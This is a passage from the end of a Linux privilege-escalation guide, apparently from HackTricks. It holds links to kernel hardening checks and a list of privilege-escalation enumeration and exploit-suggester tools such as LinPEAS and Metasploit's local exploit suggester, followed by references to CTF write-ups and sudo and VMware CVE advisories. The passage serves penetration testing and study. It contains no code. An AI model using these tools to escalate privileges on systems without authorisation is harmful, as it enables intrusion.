Path).<sup>[[27]](#references)</sup> 2261 2262 Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: 2263 2264 [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](/hacktricks/linux-hardening/main-system-information/kernel-lpe-cves/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244) 2265 2266 ## Kernel Security Protections 2267 2268 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) 2269 - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) 2270 2271 ## More help 2272 2273 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) 2274 2275 ## Linux/Unix Privesc Tools 2276 2277 ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 2278 2279 **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ 2280 **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ 2281 **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ 2282 **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ 2283 **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ 2284 **Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ 2285 **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ 2286 **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ 2287 **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ 2288 **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) 2289 2290 ## References 2291 2292 - [1] [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) 2293 - [2] [0xdf – HTB Era: forged .text_sig payload for cron-executed monitor](https://0xdf.gitlab.io/2025/11/29/htb-era.html) 2294 - [3] [0xdf – Holiday Hack Challenge 2025: Neighborhood Watch Bypass (sudo env_keep PATH hijack)](https://0xdf.gitlab.io/holidayhack2025/act1/neighborhood-watch) 2295 - [4] [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) 2296 - [5] [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) 2297 - [6] [Linux Privilege Escalation Guide](https://payatu.com/guide-linux-privilege-escalation/) 2298 - [7] [Attack and Defend: Linux Privilege Escalation Techniques of 2016](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) 2299 - [8] [No one expect command execution!](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) 2300 - [9] [Sudo (LD_PRELOAD) (Linux Privilege Escalation)](https://touhidshaikh.com/blog/?p=827) 2301 - [10] [lpeworkshop – Lab Exercises Walkthrough - Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) 2302 - [11] [frizb/Linux-Privilege-Escalation: Tips and Tricks for Linux Priv Escalation](https://github.com/frizb/Linux-Privilege-Escalation) 2303 - [12] [lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 2304 - [13] [rtcrowley/linux-private-i: Linux Enumeration & Privilege Escalation tool](https://github.com/rtcrowley/linux-private-i) 2305 - [14] [What is a Socket?](https://www.linux.com/news/what-socket/) 2306 - [15] [Peppo (Proving Grounds) writeup](https://muzec0318.github.io/posts/PG/peppo.html) 2307 - [16] [Get on the D-BUS](https://www.linuxjournal.com/article/7744) 2308 - [17] [SUID Executables Linux Privilege Escalation](https://blog.certcube.com/suid-executables-linux-privilege-escalation/) 2309 - [18] [Sudo Part-2 – Linux Privilege Escalation](https://juggernaut-sec.com/sudo-part-2-lpe) 2310 - [19] [How to manage ACLs on Linux](https://linuxconfig.org/how-to-manage-acls-on-linux) 2311 - [20] [Redhat/CentOS root through network-scripts](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) 2312 - [21] [What is systemd?](https://www.linode.com/docs/guides/what-is-systemd/) 2313 - [22] [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) 2314 - [23] [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) 2315 - [24] [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) 2316 - [25] [0xdf – HTB Previous (sudo terraform dev_overrides + TF_VAR symlink privesc)](https://0xdf.gitlab.io/2026/01/10/htb-previous.html) 2317 - [26] [0xdf – HTB Slonik (pg_basebackup cron copy → SUID bash)](https://0xdf.gitlab.io/2026/02/12/htb-slonik.html) 2318 - [27] [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) 2319 - [28] [Stratascale – CVE-2025-32463: Sudo Chroot Elevation of Privilege](https://www.stratascale.com/resource/cve-2025-32463-sudo-chroot-elevation-of-privilege/) 2320 - [29] [Rich Mirch – CVE-2025-32462 and CVE-2025-32463 Sudo elevation-of-privilege vulnerabilities](https://blog.mirch.io/sudo-elevation-of-privilege-vulnerabilities/) 2321 - [30] [0xdf – HTB: Browsed](https://0xdf.gitlab.io/2026/03/28/htb-browsed.html) 2322 - [31] [PEP 3147 – PYC Repository Directories](https://peps.python.org/pep-3147/) 2323 - [32] [Python importlib docs](https://docs.python.org/3/library/importlib.html) 2324 - [33] [polkit/polkit issue #74](https://gitlab.freedesktop.org/polkit/polkit/issues/74) 2325 - [34] [mirchr/security-research](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 2326 - [35] [Tweet by @paragonsec](https://twitter.com/paragonsec/status/1071152249529884674) 2327 - [36] [redsiege.com - Logging Passwords On Linux](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux) 2328 - [37] [tech.feedyourhead.at - Details Of A Logrotate Race Condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)